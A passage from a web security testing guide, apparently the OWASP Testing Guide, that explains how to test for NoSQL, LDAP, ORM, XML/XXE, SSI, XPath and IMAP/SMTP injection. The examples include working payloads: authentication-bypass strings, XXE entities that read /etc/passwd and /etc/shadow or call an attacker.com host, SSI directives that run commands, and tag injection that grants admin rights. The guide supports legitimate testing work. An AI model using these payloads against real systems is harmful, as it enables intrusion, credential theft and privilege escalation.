For example within MongoDB, the `$where` syntax itself is a reserved query operator. It needs to be passed into the query exactly as shown; any alteration would cause a database error. However, because `$where` is also a valid PHP variable name, it may be possible for an attacker to insert code into the query by creating a PHP variable named `$where`. The PHP MongoDB documentation explicitly warns developers: Please make sure that for all special query operators (starting with `$`) you use single quotes so that PHP doesn't try to replace `"$exists"` with the value of the variable `$exists`.

Even if a query depended on no user input, such as the following example, an attacker could exploit MongoDB by replacing the operator with malicious data.

```
db.myCollection.find( { $where: function() { return obj.credits - obj.debits < 0; } } );
```

One way to potentially assign data to PHP variables is via HTTP Parameter Pollution (see: [Testingfor_HTTP_Parameter_pollution\(OTG-INPVAL-004\)](#)). By creating a variable named `$where` via parameter pollution, one could trigger a MongoDB error indicating that the query is no longer valid. Any value of `$where` other than the string `"$where"` itself, should suffice to demonstrate vulnerability. An attacker would develop a full exploit by inserting the following: `"$where: function() { //arbitrary JavaScript here }"`

References

Whitepapers

Bryan Sullivan from Adobe: "Server-Side JavaScript Injection" - https://media.blackhat.com/bh-us-11/Sullivan/BH_US_11_Sullivan_Server_Side_WP.pdf

Bryan Sullivan from Adobe: "NoSQL, But Even Less Security" - <http://blogs.adobe.com/asset/files/2011/04/NoSQL-But-Even-Less-Security.pdf>

Erlend from Bekk Consulting: "[Security] NOSQL-injection" - <http://erlend.oftedal.no/blog/?blogid=110>

Felipe Aragon from Syhunt: "NoSQL/SSJS Injection" - <http://www.syhunt.com/?n=Articles.NoSQLInjection>

MongoDB Documentation: "How does MongoDB address SQL or Query injection?" - <http://docs.mongodb.org/manual/faq/developers/#how-does-mongodb-address-sql-or-query-injection>

PHP Documentation: "MongoCollection::find" - <http://php.net/manual/en/mongocollection.find.php>

"Hacking NodeJS and MongoDB" - <http://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb.html>

"Attacking NodeJS and MongoDB" - <http://blog.websecurify.com/2014/08/attacks-nodejs-and-mongodb-part-to.html>

Testing for LDAP Injection (OTG-INPVAL-006)

Summary

The Lightweight Directory Access Protocol (LDAP) is used to store information about users, hosts, and many other objects. [LDAP injection](#) is a server side attack, which could allow sensitive information about users and hosts represented in an LDAP structure to be disclosed, modified, or inserted. This is done by manipulating input parameters afterwards passed to internal search, add, and modify functions.

A web application could use LDAP in order to let users authenticate or search other users' information inside a corporate structure. The goal of LDAP injection attacks is to inject LDAP search filters metacharacters in a query which will be executed by the application.

[[Rfc2254](#)] defines a grammar on how to build a search filter on LDAPv3 and extends [[Rfc1960](#)] (LDAPv2).

An LDAP search filter is constructed in Polish notation, also known as [[prefix notation](#)].

This means that a pseudo code condition on a search filter like this:

```
find("cn=John & userPassword=myspass")
```

will be represented as:

```
find("&(cn=John)(userPassword=myspass)")
```

Boolean conditions and group aggregations on an LDAP search filter could be applied by using the following metacharacters:

Metachar	Meaning
&	Boolean AND
	Boolean OR
!	Boolean NOT
=	Equals
~=	Approx
>=	Greater than
<=	Less than
*	Any character
()	Grouping parenthesis

More complete examples on how to build a search filter can be found in the related RFC.

A successful exploitation of an LDAP injection vulnerability could allow the tester to:

- Access unauthorized content
- Evade application restrictions
- Gather unauthorized informations

- Add or modify Objects inside LDAP tree structure.

How to Test

Example 1: Search Filters

Let's suppose we have a web application using a search filter like the following one:

```
searchfilter="(cn="+user+")"
```

which is instantiated by an HTTP request like this:

```
http://www.example.com/ldapsearch?user=John
```

If the value 'John' is replaced with a '*', by sending the request:

```
http://www.example.com/ldapsearch?user=*
```

the filter will look like:

```
searchfilter="(cn=*)"
```

which matches every object with a 'cn' attribute equals to anything.

If the application is vulnerable to LDAP injection, it will display some or all of the users' attributes, depending on the application's execution flow and the permissions of the LDAP connected user.

A tester could use a trial-and-error approach, by inserting in the parameter '(', '|', '&', '*' and the other characters, in order to check the application for errors.

Example 2: Login

If a web application uses LDAP to check user credentials during the login process and it is vulnerable to LDAP injection, it is possible to bypass the authentication check by injecting an always true LDAP query (in a similar way to SQL and XPATH injection).

Let's suppose a web application uses a filter to match LDAP user/password pair.

```
searchlogin= "(&(uid="+user+")(userPassword={MD5}"+base64(pack("H*",md5(pass)))));"
```

By using the following values:

```
user=*)(uid=*)(|(uid=*)
pass=password
```

the search filter will results in:

```
searchlogin="(&(uid=*)(uid=*))(|(uid=*)(userPassword={MD5}X03M01qnZdYdgyfeuILPmQ=))";
```

which is correct and always true. This way, the tester will gain logged-in status as the first user in LDAP tree.

Tools

Softerra LDAP Browser - <http://www.ldapadministrator.com/>

References

Whitepapers

Sacha Faust: "LDAP Injection: Are Your Applications Vulnerable?" - <http://www.networkdls.com/articles/ldapinjection.pdf>

Bruce Greenblatt: "LDAP Overview" - http://www.directory-applications.com/dap3_files/frame.htm

IBM paper: "Understanding LDAP" - <http://www.redbooks.ibm.com/redbooks/SG244986.html>

RFC 1960: "A String Representation of LDAP Search Filters" - <http://www.ietf.org/rfc/rfc1960.txt>

Testing for ORM Injection (OTG-INPVAL-007)

Summary

ORM Injection is an attack using SQL Injection against an ORM generated data access object model. From the point of view of a tester, this attack is virtually identical to a SQL Injection attack. However, the injection vulnerability exists in code generated by the ORM tool.

An ORM is an Object Relational Mapping tool. It is used to expedite object oriented development within the data access layer of software applications, including web applications. The benefits of using an ORM tool include quick generation of an object layer to communicate to a relational database, standardized code templates for these objects, and usually a set of safe functions to protect against SQL Injection attacks. ORM generated objects can use SQL or in some cases, a variant of SQL, to perform CRUD (Create, Read, Update, Delete) operations on a database. It is possible, however, for a web application using ORM generated objects to be vulnerable to SQL Injection attacks if methods can accept unsanitized input parameters.

ORM tools include Hibernate for Java, NHibernate for .NET, ActiveRecord for Ruby on Rails, EZPDO for PHP and many others. For a reasonably comprehensive list of ORM tools, see http://en.wikipedia.org/wiki/List_of_object-relational_mapping_software

How to Test

Black Box testing

Blackbox testing for ORM Injection vulnerabilities is identical to SQL Injection testing (see [Testing for SQL Injection](#)). In most cases, the vulnerability in the ORM layer is a result of customized code that does not properly validate input parameters. Most ORM tools provide safe functions to escape user input. However, if these functions are not used, and the developer uses custom functions that accept user input, it may be possible to execute a SQL injection attack.

Gray Box testing

If a tester has access to the source code for a web application, or can discover vulnerabilities of an ORM tool and tests web applications that use this tool, there is a higher probability of successfully attacking the application.

Patterns to look for in code include:

- Input parameters concatenated with SQL strings. This code that uses ActiveRecord for Ruby on Rails is vulnerable (though any ORM can be vulnerable)

```
Orders.find_all "customer_id = 123 AND order_date = '#{@params['order_date']}'"
```

Simply sending "" OR 1--" in the form where order date can be entered can yield positive results.

Tools

- Hibernate <http://www.hibernate.org>
- NHibernate <http://nhforge.org/>

References

Whitepapers

- [References from Testing for SQL Injection](#) are applicable to ORM Injection
- Wikipedia - ORM http://en.wikipedia.org/wiki/Object-relational_mapping
- [OWASP Interpreter Injection](#)

Testing for XML Injection (OTG-INPVAL-008)

Summary

XML Injection testing is when a tester tries to inject an XML doc to the application. If the XML parser fails to contextually validate data, then the test will yield a positive result.

This section describes practical examples of XML Injection. First, an XML style communication will be defined and its working principles explained. Then, the discovery method in which we try to insert XML metacharacters. Once the first step is accomplished, the tester will have some information about the XML structure, so it will be possible to try to inject XML data and tags (Tag Injection).

How to Test

Let's suppose there is a web application using an XML style communication in order to perform user registration. This is done by creating and adding a new node in an xmlDb file.

Let's suppose the xmlDB file is like the following:

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<users>
  <user>
    <username>gandalf</username>
    <password>!c3</password>
    <userid>0</userid>
    <mail>gandalf@middleearth.com</mail>
  </user>
  <user>
    <username>Stefan0</username>
    <password>w1s3c</password>
    <userid>500</userid>
    <mail>Stefan0@whysec.hmm</mail>
  </user>
</users>
```

When a user registers himself by filling an HTML form, the application receives the user's data in a standard request, which, for the sake of simplicity, will be supposed to be sent as a GET request.

For example, the following values:

```
Username: tony
Password: Un6R34kb!e
E-mail: s4tan@hell.com
```

will produce the request:

```
http://www.example.com/addUser.php?username=tony&password=Un6R34kb!e&email=s4tan@hell.com
```

The application, then, builds the following node:

```
<user>
  <username>tony</username>
  <password>Un6R34kb!e</password>
  <userid>500</userid>
```

```
<mail>s4tan@hell.com</mail>
</user>
```

which will be added to the xmlDB:

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<users>
  <user>
    <username>gandalf</username>
    <password>!c3</password>
    <userid>0</userid>
    <mail>gandalf@middleearth.com</mail>
  </user>
  <user>
    <username>Stefan0</username>
    <password>w1s3c</password>
    <userid>500</userid>
    <mail>Stefan0@whysec.hmm</mail>
  </user>
  <user>
    <username>tony</username>
    <password>Un6R34kb!e</password>
    <userid>500</userid>
    <mail>s4tan@hell.com</mail>
  </user>
</users>
```

Discovery

The first step in order to test an application for the presence of a XML Injection vulnerability consists of trying to insert XML metacharacters.

XML metacharacters are:

- **Single quote:** ' - When not sanitized, this character could throw an exception during XML parsing, if the injected value is going to be part of an attribute value in a tag. As an example, let's suppose there is the following attribute:

```
<node attrib='$inputValue' />
```

So, if:

```
inputValue = foo'
```

is instantiated and then is inserted as the attrib value:

```
<node attrib='foo' />
```

then, the resulting XML document is not well formed.

- **Double quote:** " - this character has the same meaning as single quote and it could be used if the attribute value is enclosed in double quotes.

```
<node attrib="$inputValue" />
```

So if:

```
$inputValue = foo"
```

the substitution gives:

```
<node attrib="foo"/>
```

and the resulting XML document is invalid.

- **Angular parentheses: > and <** - By adding an open or closed angular parenthesis in a user input like the following:

```
Username = foo<
```

the application will build a new node:

```
<user>
  <username>foo<</username>
  <password>Un6R34kb!e</password>
  <userid>500</userid>
  <mail>s4tan@hell.com</mail>
</user>
```

but, because of the presence of the open '<', the resulting XML document is invalid.

- **Comment tag:** - This sequence of characters is interpreted as the beginning/end of a comment. So by injecting one of them in Username parameter:

```
Username = foo!--
```

the application will build a node like the following:

```
<user>
  <username>foo!--</username>
  <password>Un6R34kb!e</password>
  <userid>500</userid>
  <mail>s4tan@hell.com</mail>
</user>
```

which won't be a valid XML sequence.

- **Ampersand: &** - The ampersand is used in the XML syntax to represent entities. The format of an entity is '&symbol;'. An entity is mapped to a character in the Unicode character set.

For example:

```
<tagnode>&amp;lt;</tagnode>
```

is well formed and valid, and represents the '<' ASCII character.

If '&' is not encoded itself with '&amp;', it could be used to test XML injection.

In fact, if an input like the following is provided:

```
Username = &foo
```

a new node will be created:

```
<user>
<username>&foo</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>s4tan@hell.com</mail>
</user>
```

but, again, the document is not valid: `&foo` is not terminated with `'` and the `&foo;` entity is undefined.

- **CDATA section delimiters:** `<![CDATA[/]]>` - CDATA sections are used to escape blocks of text containing characters which would otherwise be recognized as markup. In other words, characters enclosed in a CDATA section are not parsed by an XML parser.

For example, if there is the need to represent the string `'<foo>'` inside a text node, a CDATA section may be used:

```
<node>
  <![CDATA[<foo>]]>
</node>
```

so that `'<foo>'` won't be parsed as markup and will be considered as character data.

If a node is built in the following way:

```
<username><![CDATA[<$userName>]]></username>
```

the tester could try to inject the end CDATA string `']]>'` in order to try to invalidate the XML document.

```
userName = ]]>
```

this will become:

```
<username><![CDATA[ ]]>]]></username>
```

which is not a valid XML fragment.

Another test is related to CDATA tag. Suppose that the XML document is processed to generate an HTML page. In this case, the CDATA section delimiters may be simply eliminated, without further inspecting their contents. Then, it is possible to inject HTML tags, which will be included in the generated page, completely bypassing existing sanitization routines.

Let's consider a concrete example. Suppose we have a node containing some text that will be displayed back to the user.

```
<html>
  $HTMLCode
</html>
```

Then, an attacker can provide the following input:

```
$HTMLCode = <![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]>
```

and obtain the following node:

```
<html>
  <![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]>
</html>
```

During the processing, the CDATA section delimiters are eliminated, generating the following HTML code:

```
<script>alert('XSS')</script>
```

The result is that the application is vulnerable to XSS.

External Entity: The set of valid entities can be extended by defining new entities. If the definition of an entity is a URI, the entity is called an external entity. Unless configured to do otherwise, external entities force the XML parser to access the resource specified by the URI, e.g., a file on the local machine or on a remote systems. This behavior exposes the application to XML eXternal Entity (XXE) attacks, which can be used to perform denial of service of the local system, gain unauthorized access to files on the local machine, scan remote machines, and perform denial of service of remote systems.

To test for XXE vulnerabilities, one can use the following input:

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>
```

This test could crash the web server (on a UNIX system), if the XML parser attempts to substitute the entity with the contents of the /dev/random file.

Other useful tests are the following:

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;</foo>
```

Tag Injection

Once the first step is accomplished, the tester will have some information about the structure of the XML document. Then, it is possible to try to inject XML data and tags. We will show an example of how this can lead to a privilege escalation attack.

Let's considering the previous application. By inserting the following values:

```
Username: tony
Password: Un6R34kb!e
E-mail: s4tan@hell.com</mail><userid>0</userid><mail>s4tan@hell.com
```

the application will build a new node and append it to the XML database:

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<users>
  <user>
    <username>gandalf</username>
    <password>!c3</password>
    <userid>0</userid>
    <mail>gandalf@middleearth.com</mail>
  </user>
  <user>
    <username>Stefan0</username>
    <password>w1s3c</password>
    <userid>500</userid>
    <mail>Stefan0@whysec.hmm</mail>
  </user>
  <user>
    <username>tony</username>
    <password>Un6R34kb!e</password>
    <userid>500</userid>
    <mail>s4tan@hell.com</mail><userid>0</userid><mail>s4tan@hell.com</mail>
  </user>
</users>
```

The resulting XML file is well formed. Furthermore, it is likely that, for the user tony, the value associated with the userid tag is the one appearing last, i.e., 0 (the admin ID). In other words, we have injected a user with administrative privileges.

The only problem is that the userid tag appears twice in the last user node. Often, XML documents are associated with a schema or a DTD and will be rejected if they don't comply with it.

Let's suppose that the XML document is specified by the following DTD:

```
<!DOCTYPE users [
  <!ELEMENT users (user+) >
  <!ELEMENT user (username,password,userid,mail+) >
  <!ELEMENT username (#PCDATA) >
  <!ELEMENT password (#PCDATA) >
  <!ELEMENT userid (#PCDATA) >
  <!ELEMENT mail (#PCDATA) >
]>
```

Note that the userid node is defined with cardinality 1. In this case, the attack we have shown before (and other simple attacks) will not work, if the XML document is validated against its DTD before any processing occurs.

However, this problem can be solved, if the tester controls the value of some nodes preceding the offending node (userid, in this example). In fact, the tester can comment out such node, by injecting a comment start/end sequence:

```
Username: tony
Password: Un6R34kb!e</password><!--
E-mail: --><userid>0</userid><mail>s4tan@hell.com
```

In this case, the final XML database is:

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<users>
  <user>
    <username>gandalf</username>
    <password>!c3</password>
    <userid>0</userid>
    <mail>gandalf@middleearth.com</mail>
  </user>
  <user>
    <username>Stefan0</username>
    <password>w1s3c</password>
    <userid>500</userid>
    <mail>Stefan0@whysec.hmm</mail>
  </user>
  <user>
    <username>tony</username>
    <password>Un6R34kb!e</password><!--</password>
    <userid>500</userid>
    <mail>--<userid>0</userid><mail>s4tan@hell.com</mail>
  </user>
</users>
```

The original *userid* node has been commented out, leaving only the injected one. The document now complies with its DTD rules.

Tools

- XML Injection Fuzz Strings (from wfuzz tool) - <https://wfuzz.googlecode.com/svn/trunk/wordlist/Injections/XML.txt>

References

Whitepapers

- [1] Alex Stamos: "Attacking Web Services" - http://www.owasp.org/images/d/d1/AppSec2005DC-Alex_Stamos-Attacking_Web_Services.ppt
- Gregory Steuck, "XXE (Xml eXternal Entity) attack", <http://www.securityfocus.com/archive/1/297714>

Testing for SSI Injection (OTG-INPVAL-009)

Summary

Web servers usually give developers the ability to add small pieces of dynamic code inside static HTML pages, without having to deal with full-fledged server-side or client-side languages. This feature is incarnated by the [Server-Side Includes \(SSI\)](#). In SSI injection testing, we test if it is possible to inject into the application data that will be interpreted by SSI mechanisms. A successful exploitation of this vulnerability allows an attacker to inject code into HTML pages or even perform remote code execution.

Server-Side Includes are directives that the web server parses before serving the page to the user. They represent an alternative to writing CGI programs or embedding code using server-side scripting languages, when there's only need to perform very simple tasks. Common SSI implementations provide commands to include external files, to set and print web server CGI environment variables, and to execute external CGI scripts or system commands.

Putting an SSI directive into a static HTML document is as easy as writing a piece of code like the following:

```
<!--#echo var="DATE_LOCAL" -->
```

to print out the current time.

```
<!--#include virtual="/cgi-bin/counter.pl" -->
```

to include the output of a CGI script.

```
<!--#include virtual="/footer.html" -->
```

to include the content of a file or list files in a directory.

```
<!--#exec cmd="ls" -->
```

to include the output of a system command.

Then, if the web server's SSI support is enabled, the server will parse these directives. In the default configuration, usually, most web servers don't allow the use of the **exec** directive to execute system commands.

As in every bad input validation situation, problems arise when the user of a web application is allowed to provide data that makes the application or the web server behave in an unforeseen manner. With regard to SSI injection, the attacker could provide input that, if inserted by the application (or maybe directly by the server) into a dynamically generated page, would be parsed as one or more SSI directives.

This is a vulnerability very similar to a classical scripting language injection vulnerability. One mitigation is that the web server needs to be configured to allow SSI. On the other hand, SSI injection vulnerabilities are often simpler to exploit, since SSI directives are easy to understand and, at the same time, quite powerful, e.g., they can output the content of files and execute system commands.

How to Test

Black Box testing

The first thing to do when testing in a Black Box fashion is finding if the web server actually supports SSI directives. Often, the answer is yes, as SSI support is quite common. To find out we just need to discover which kind of web server is running on our target, using classic information gathering techniques.

Whether we succeed or not in discovering this piece of information, we could guess if SSI are supported just by looking at the content of the target web site. If it contains *.shtml* files, then SSI are probably supported, as this extension is used to identify pages containing these directives. Unfortunately, the use of the *shtml* extension is not mandatory, so not having found any *shtml* files doesn't necessarily mean that the target is not prone to SSI injection attacks.

The next step consists of determining if an SSI injection attack is actually possible and, if so, what are the input points that we can use to inject our malicious code.

The testing activity required to do this is exactly the same used to test for other code injection vulnerabilities. In particular, we need to find every page where the user is allowed to submit some kind of input, and verify whether the application is correctly validating the submitted input. If sanitization is insufficient, we need to test if we can provide data that is going to be displayed unmodified (for example, in an error message or forum post). Besides common user-supplied data, input vectors that should always be considered are HTTP request headers and cookies content, since they can be easily forged.

Once we have a list of potential injection points, we can check if the input is correctly validated and then find out where the provided input is stored. We need to make sure that we can inject characters used in SSI directives:

```
< ! # = / . " - > and [a-zA-Z0-9]
```

To test if validation is insufficient, we can input, for example, a string like the following in an input form:

```
<!--#include virtual="/etc/passwd" -->
```

This is similar to testing for XSS vulnerabilities using

```
<script>alert("XSS")</script>
```

If the application is vulnerable, the directive is injected and it would be interpreted by the server the next time the page is served, thus including the content of the Unix standard password file.

The injection can be performed also in HTTP headers, if the web application is going to use that data to build a dynamically generated page:

```
GET / HTTP/1.0
Referer: <!--#exec cmd="/bin/ps ax"-->
User-Agent: <!--#include virtual="/proc/version"-->
```

Gray Box testing

If we have access to the application source code, we can quite easily find out:

1. If SSI directives are used. If they are, then the web server is going to have SSI support enabled, making SSI injection at least a potential issue to investigate.
2. Where user input, cookie content and HTTP headers are handled. The complete list of input vectors is then quickly

determined.

3. How the input is handled, what kind of filtering is performed, what characters the application is not letting through, and how many types of encoding are taken into account.

Performing these steps is mostly a matter of using grep to find the right keywords inside the source code (SSI directives, CGI environment variables, variables assignment involving user input, filtering functions and so on).

Tools

- Web Proxy Burp Suite - <http://portswigger.net>
- Paros - <http://www.parosproxy.org/index.shtml>
- WebScarab
- String searcher: grep - <http://www.gnu.org/software/grep>

References

Whitepapers

- Apache Tutorial: "Introduction to Server Side Includes" - <http://httpd.apache.org/docs/1.3/howto/ssi.html>
- Apache: "Module mod_include" - http://httpd.apache.org/docs/1.3/mod/mod_include.html
- Apache: "Security Tips for Server Configuration" - http://httpd.apache.org/docs/1.3/misc/security_tips.html#ssi
- Header Based Exploitation - <http://www.cgisecurity.net/papers/header-based-exploitation.txt>
- SSI Injection instead of JavaScript Malware - <http://jeremiahgrossman.blogspot.com/2006/08/ssi-injection-instead-of-javascript.html>
- IIS: "Notes on Server-Side Includes (SSI) syntax" - http://blogs.iis.net/robert_mcmurray/archive/2010/12/28/iis-notes-on-server-side-includes-ssi-syntax-kb-203064-revisited.aspx

Testing for XPath Injection (OTG-INPVAL-010)

Summary

XPath is a language that has been designed and developed primarily to address parts of an XML document. In XPath injection testing, we test if it is possible to inject XPath syntax into a request interpreted by the application, allowing an attacker to execute user-controlled XPath queries. When successfully exploited, this vulnerability may allow an attacker to bypass authentication mechanisms or access information without proper authorization.

Web applications heavily use databases to store and access the data they need for their operations. Historically, relational databases have been by far the most common technology for data storage, but, in the last years, we are witnessing an increasing popularity for databases that organize data using the XML language. Just like relational databases are accessed via SQL language, XML databases use XPath as their standard query language.

Since, from a conceptual point of view, XPath is very similar to SQL in its purpose and applications, an interesting result is that XPath injection attacks follow the same logic as [SQL Injection](#) attacks. In some aspects, XPath is even more powerful than standard SQL, as its whole power is already present in its specifications, whereas a large number of the techniques that can be used in a SQL Injection attack depend on the characteristics of the SQL dialect used by the target database. This means that XPath injection attacks can be much more adaptable and ubiquitous. Another advantage of an XPath injection attack is that, unlike SQL, no ACLs are enforced, as our query can access every part of the XML document.

How to Test

The XPath attack pattern was first published by Amit Klein [1] and is very similar to the usual SQL Injection. In order to get a first grasp of the problem, let's imagine a login page that manages the authentication to an application in which the user must enter his/her username and password. Let's assume that our database is represented by the following XML file:

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<account>admin</account>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<account>guest</account>
</user>
<user>
<username>tony</username>
<password>Un6R34kb!e</password>
<account>guest</account>
</user>
</users>
```

An XPath query that returns the account whose username is "gandalf" and the password is "!c3" would be the following:

```
string(//user[username/text()='gandalf' and password/text()='!c3']/account/text())
```

If the application does not properly filter user input, the tester will be able to inject XPath code and interfere with the query result. For instance, the tester could input the following values:

```
Username: ' or '1' = '1
```

```
Password: ' or '1' = '1
```

Looks quite familiar, doesn't it? Using these parameters, the query becomes:

```
string(//user[username/text()='* or '1' = '1' and password/text()='* or '1' = '1']/account/text())
```

As in a common SQL Injection attack, we have created a query that always evaluates to true, which means that the application will authenticate the user even if a username or a password have not been provided. And as in a common SQL Injection attack, with XPath injection, the first step is to insert a single quote (') in the field to be tested, introducing a syntax error in the query, and to check whether the application returns an error message.

If there is no knowledge about the XML data internal details and if the application does not provide useful error messages that help us reconstruct its internal logic, it is possible to perform a [Blind XPath Injection](#) attack, whose goal is to reconstruct the whole data structure. The technique is similar to inference based SQL Injection, as the approach is to inject code that creates a query that returns one bit of information. [Blind XPath Injection](#) is explained in more detail by Amit Klein in the referenced paper.

References

Whitepapers

- [1] Amit Klein: "Blind XPath Injection" - <http://www.modsecurity.org/archive/amit/blind-xpath-injection.pdf>
- [2] XPath 1.0 specifications - <http://www.w3.org/TR/xpath>

IMAP/SMTP Injection (OTG-INPVAL-011)

Summary

This threat affects all applications that communicate with mail servers (IMAP/SMTP), generally webmail applications. The aim of this test is to verify the capacity to inject arbitrary IMAP/SMTP commands into the mail servers, due to input data not being properly sanitized.

The IMAP/SMTP Injection technique is more effective if the mail server is not directly accessible from Internet. Where full communication with the backend mail server is possible, it is recommended to conduct direct testing.

An IMAP/SMTP Injection makes it possible to access a mail server which otherwise would not be directly accessible from the Internet. In some cases, these internal systems do not have the same level of infrastructure security and hardening that is applied to the front-end web servers. Therefore, mail server results may be more vulnerable to attacks by end users (see the scheme presented in Figure 1).




Figure 1 - Communication with the mail servers using the IMAP/SMTP Injection technique.

Figure 1 depicts the flow of traffic generally seen when using webmail technologies. Step 1 and 2 is the user interacting with the webmail client, whereas step 2 is the tester bypassing the webmail client and interacting with the back-end mail servers directly.

This technique allows a wide variety of actions and attacks. The possibilities depend on the type and scope of injection and the mail server technology being tested.

Some examples of attacks using the IMAP/SMTP Injection technique are:

- Exploitation of vulnerabilities in the IMAP/SMTP protocol
- Application restrictions evasion
- Anti-automation process evasion
- Information leaks
- Relay/SPAM

How to Test

The standard attack patterns are:

- Identifying vulnerable parameters

- Understanding the data flow and deployment structure of the client
- IMAP/SMTP command injection

Identifying vulnerable parameters

In order to detect vulnerable parameters, the tester has to analyze the application's ability in handling input. Input validation testing requires the tester to send bogus, or malicious, requests to the server and analyse the response. In a secure application, the response should be an error with some corresponding action telling the client that something has gone wrong. In a vulnerable application, the malicious request may be processed by the back-end application that will answer with a "HTTP 200 OK" response message.

It is important to note that the requests being sent should match the technology being tested. Sending SQL injection strings for Microsoft SQL server when a MySQL server is being used will result in false positive responses. In this case, sending malicious IMAP commands is modus operandi since IMAP is the underlying protocol being tested.

IMAP special parameters that should be used are:

On the IMAP server	On the SMTP server
Authentication	Emissor e-mail
operations with mail boxes (list, read, create, delete, rename)	Destination e-mail
operations with messages (read, copy, move, delete)	Subject
Disconnection	Message body
	Attached files

In this example, the "mailbox" parameter is being tested by manipulating all requests with the parameter in:

```
http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=46106&startMessage=1
```

The following examples can be used.

- Assign a null value to the parameter:

```
http://<webmail>/src/read_body.php?mailbox=&passed_id=46106&startMessage=1
```

- Substitute the value with a random value:

```
http://<webmail>/src/read_body.php?mailbox=NOTEXIST&passed_id=46106&startMessage=1
```

- Add other values to the parameter:

```
http://<webmail>/src/read_body.php?mailbox=INBOX PARAMETER2&passed_id=46106&startMessage=1
```

- Add non standard special characters (i.e.: \, ', ", @, #, !, |):

```
http://<webmail>/src/read_body.php?mailbox=INBOX"&passed_id=46106&startMessage=1
```

- Eliminate the parameter:

```
http://<webmail>/src/read_body.php?passed_id=46106&startMessage=1
```

The final result of the above testing gives the tester three possible situations:

S1 - The application returns a error code/message

S2 - The application does not return an error code/message, but it does not realize the requested operation

S3 - The application does not return an error code/message and realizes the operation requested normally

Situations S1 and S2 represent successful IMAP/SMTP injection.

An attacker's aim is receiving the S1 response, as it is an indicator that the application is vulnerable to injection and further manipulation.

Let's suppose that a user retrieves the email headers using the following HTTP request:

```
http://<webmail>/src/view_header.php?mailbox=INBOX&passed_id=46105&passed_ent_id=0
```

An attacker might modify the value of the parameter INBOX by injecting the character " (%22 using URL encoding):

```
http://<webmail>/src/view_header.php?mailbox=INBOX%22&passed_id=46105&passed_ent_id=0
```

In this case, the application answer may be:

```
ERROR: Bad or malformed request.
Query: SELECT "INBOX"
Server responded: Unexpected extra arguments to Select
```

The situation S2 is harder to test successfully. The tester needs to use blind command injection in order to determine if the server is vulnerable.

On the other hand, the last situation (S3) is not relevant in this paragraph.

Result Expected:

- List of vulnerable parameters
- Affected functionality
- Type of possible injection (IMAP/SMTP)

Understanding the data flow and deployment structure of the client

After identifying all vulnerable parameters (for example, "passed_id"), the tester needs to determine what level of injection is possible and then design a testing plan to further exploit the application.

In this test case, we have detected that the application's "passed_id" parameter is vulnerable and is used in the following request:

```
http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=46225&startMessage=1
```

Using the following test case (providing an alphabetical value when a numerical value is required):

```
http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=test&startMessage=1
```


will generate the following error message:

```
ERROR : Bad or malformed request.
Query: FETCH test:test BODY[HEADER]
Server responded: Error in IMAP command received by server.
```

In this example, the error message returned the name of the executed command and the corresponding parameters.

In other situations, the error message ("not controlled" by the application) contains the name of the executed command, but reading the suitable RFC (see "Reference" paragraph) allows the tester to understand what other possible commands can be executed.

If the application does not return descriptive error messages, the tester needs to analyze the affected functionality to deduce all the possible commands (and parameters) associated with the above mentioned functionality. For example, if a vulnerable parameter has been detected in the create mailbox functionality, it is logical to assume that the affected IMAP command is "CREATE". According to the RFC, the CREATE command accepts one parameter which specifies the name of the mailbox to create.

Result Expected:

- List of IMAP/SMTP commands affected
- Type, value, and number of parameters expected by the affected IMAP/SMTP commands

IMAP/SMTP command injection

Once the tester has identified vulnerable parameters and has analyzed the context in which they are executed, the next stage is exploiting the functionality.

This stage has two possible outcomes:

1. The injection is possible in an unauthenticated state: the affected functionality does not require the user to be authenticated. The injected (IMAP) commands available are limited to: CAPABILITY, NOOP, AUTHENTICATE, LOGIN, and LOGOUT.
2. The injection is only possible in an authenticated state: the successful exploitation requires the user to be fully authenticated before testing can continue.

In any case, the typical structure of an IMAP/SMTP Injection is as follows:

- Header: ending of the expected command;
- Body: injection of the new command;
- Footer: beginning of the expected command.

It is important to remember that, in order to execute an IMAP/SMTP command, the previous command must be terminated with the CRLF (%0d%0a) sequence.

Let's suppose that in the stage 1 ("Identifying vulnerable parameters"), the attacker detects that the parameter "message_id" in the following request is vulnerable:

```
http://<webmail>/read_email.php?message_id=4791
```

Let's suppose also that the outcome of the analysis performed in the stage 2 ("Understanding the data flow and deployment structure of the client") has identified the command and arguments associated with this parameter as:

```
FETCH 4791 BODY[HEADER]
```

In this scenario, the IMAP injection structure would be:

```
http://<webmail>/read_email.php?message_id=4791 BODY[HEADER]%0d%0aV100 CAPABILITY%0d%0aV101 FETCH 4791
```

Which would generate the following commands:

```
???? FETCH 4791 BODY[HEADER]
V100 CAPABILITY
V101 FETCH 4791 BODY[HEADER]
```

where:

```
Header = 4791 BODY[HEADER]
Body   = %0d%0aV100 CAPABILITY%0d%0a
Footer = V101 FETCH 4791
```

Result Expected:
